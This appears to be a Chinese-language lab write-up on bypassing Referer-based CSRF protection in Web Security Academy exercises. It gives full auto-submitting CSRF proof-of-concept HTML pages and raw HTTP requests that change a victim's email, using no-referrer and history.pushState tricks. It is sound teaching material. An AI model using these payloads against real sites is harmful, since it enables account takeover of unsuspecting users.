CSRF bypass referer

某些應用程式使用 HTTPReferer標頭來嘗試防禦 CSRF 攻擊,這種方法可用以下幾種方式繞過。

忽略referer

某些應用程式會Referer在請求中出現標頭時進行驗證,但如果省略標頭,則會跳過驗證。

舉例如下,正常請求包含referer

POST /email/change-email HTTP/1.1
Host: ac811f131f215c5e805c322b00aa00e2.web-security-academy.net
...omit...
Referer: https://ac811f131f215c5e805c322b00aa00e2.web-security-academy.net/email
...omit...
email=test%40gmail.com

但把referer移除送出請求也可成功

POST /email/change-email HTTP/1.1
Host: ac811f131f215c5e805c322b00aa00e2.web-security-academy.ne
...omit...
email=test%40gmail.com

因此可以準備攻擊頁面如下,並要求不要傳送Referer

<meta name="referrer" content="no-referrer">
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://ac811f131f215c5e805c322b00aa00e2.web-security-academy.net/email/change-email" method="POST">
      <input type="hidden" name="email" value="test1&#64;gmail&#46;com" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

Lab: CSRF where Referer validation depends on header being present


referer增加合法字串

如果應用程式驗證Referer中的網域以預期值開頭,或是只驗證包含Referer自己的域名,則可繞過驗證

舉例如下,正常請求包含referer

POST /email/change-email HTTP/1.1
Host: ac811f131f215c5e805c322b00aa00e2.web-security-academy.net
...omit...
Referer: https://ac811f131f215c5e805c322b00aa00e2.web-security-academy.net/email
...omit...
email=test%40gmail.com

但在referer增加目標網站的網址,即便來源是攻擊網址,送出請求也可成功

POST /email/change-email HTTP/1.1
Host: ac2a1f501fd76830801f025a009900b0.web-security-academy.net
...omit...
Referer: https://hackerwebsite.com?ac2a1f501fd76830801f025a009900b0.web-security-academy.net
...omit...
email=test%40gmail.com

因此可以準備攻擊頁面如下,透過history.pushState()讓請求的Referer包含目標網站的網址

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <script>history.pushState('', '', '/?ac2a1f501fd76830801f025a009900b0.web-security-academy.net')</script>
    <form action="https://ac2a1f501fd76830801f025a009900b0.web-security-academy.net/email/change-email" method="POST">
      <input type="hidden" name="email" value="test&#64;gmail&#46;com" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

如果在測試時出現invalid Referer header,可以在上述攻擊頁面的head區域增加referrer-Policy: unsafe-url

當受害者訪問攻擊頁面時,會返回以下內容

################# request #################
GET /exploit HTTP/1.1
Host: exploit-0aa3002e04d4b848803fd94f01030044.exploit-server.net

################# response #################
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Referrer-Policy: unsafe-url
Server: Academy Exploit Server
Content-Length: 479

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
...omit...

攻擊頁面指令會要求瀏覽器會發送以下請求,讓Referer後面在另外附上指定的網址

POST /email/change-email HTTP/1.1
Host: ac2a1f501fd76830801f025a009900b0.web-security-academy.net

...omit...
Referer: https://exploit-0aa3002e04d4b848803fd94f01030044.exploit-server.net/?ac2a1f501fd76830801f025a009900b0.web-security-academy.net

email=test%40gmail.com

由於Referer內有包含目標網站網址,有符合驗證規則,因此可成功饒過

Lab: CSRF with broken Referer validation